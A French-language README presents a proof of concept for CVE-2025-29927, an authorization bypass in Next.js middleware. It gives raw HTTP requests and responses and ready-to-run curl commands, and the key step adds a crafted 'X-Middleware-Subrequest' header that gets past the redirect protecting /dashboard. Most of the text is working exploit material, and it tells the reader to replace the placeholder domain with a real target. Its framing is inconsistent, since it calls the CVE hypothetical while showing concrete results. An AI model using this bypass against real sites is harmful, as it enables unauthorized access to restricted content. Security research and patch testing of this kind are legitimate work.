
Contournement d'autorisation dans le middleware Next.js
Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-29927, une vulnérabilité hypothétique illustrant une faille dans la gestion des middlewares au sein d'une application web. La PoC montre comment une requête HTTP spécialement conçue peut contourner la logique de redirection pour accéder à du contenu restreint, comme un tableau de bord. Ce projet est conçu uniquement à des fins éducatives et de recherche en sécurité.
Avertissement : Cette PoC est destinée à être utilisée dans des environnements contrôlés avec une autorisation explicite. Tester sans autorisation des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas de consentement est illégal et contraire à l'éthique.
Pour suivre cette PoC, vous aurez besoin de :
abc.com) exécutant une configuration vulnérable (logiciel/version spécifiques à déterminer en fonction des détails du CVE).curl (curl.se), Burp Suite (portswigger.net/burp), ou un script personnalisé.CVE-2025-29927 (espace réservé ; à remplacer par les détails officiels du CVE lorsqu'ils seront disponibles) semble exploiter une mauvaise configuration du middleware ou une faille logique. La PoC démontre que l'ajout d'un en-tête personnalisé (X-Middleware-Subrequest) modifie le comportement du serveur, contournant un mécanisme de redirection pour accéder à du contenu restreint. Cela concerne probablement la manière dont le middleware (par exemple, Nginx avec Next.js) traite les sous-requêtes ou valide les en-têtes.
Pour en savoir plus sur les vulnérabilités des middlewares, consultez Sécurité des middlewares OWASP.
La PoC se compose de deux étapes : une requête initiale infructueuse et une requête modifiée réussie. Chaque étape comprend la requête HTTP, la réponse et une explication détaillée.
Cette étape illustre le comportement par défaut du serveur lors de l'accès au point de terminaison /dashboard sans en-têtes supplémentaires.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard : Tente d'accéder au point de terminaison du tableau de bord.User-Agent et Accept imitent une requête de navigateur typique.307 Temporary Redirect : Indique que le serveur redirige le client, probablement en raison d'une logique d'authentification, d'autorisation ou de routage (par exemple, une redirection vers une page de connexion).Server: nginx/1.14.1 : Identifie le logiciel du serveur web./dashboard. L'absence d'en-tête Location dans cette réponse (peut-être omis par souci de concision) implique que la destination de la redirection se trouve ailleurs.Cette étape introduit un en-tête personnalisé pour contourner la redirection, permettant de récupérer avec succès le contenu du tableau de bord.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware : Un en-tête personnalisé ajouté à la requête d'origine. La chaîne middleware répétée peut exploiter une faille d'analyse ou de validation dans la pile de middlewares.200 OK : Confirme l'accès réussi au contenu du tableau de bord.Content-Type: text/html; charset=utf-8 : Indique une réponse HTML, probablement la page du tableau de bord.X-Powered-By: Next.js : Suggère que l'application utilise Next.js, un framework React qui s'appuie souvent sur un middleware pour le routage.Cache-Control : Empêche la mise en cache, ce qui est typique pour un contenu dynamique et spécifique à l'utilisateur.Content-Length: 30174 : Taille du corps de la réponse en octets.X-Middleware-Subrequest amène probablement le middleware à traiter la requête comme une sous-requête légitime, contournant ainsi la logique de redirection. Cela pourrait indiquer une vulnérabilité dans la manière dont les sous-requêtes sont validées ou traitées.Suivez ces étapes pour reproduire la PoC à l'aide de curl :
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Résultat attendu : Une réponse 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Résultat attendu : Une réponse 200 OK avec le contenu du tableau de bord.
Remarque : Remplacez abc.com par le domaine cible réel si vous testez dans un environnement autorisé.
curl pour les requêtes HTTP.Ce projet est sous licence MIT. Consultez le fichier LICENSE pour plus de détails.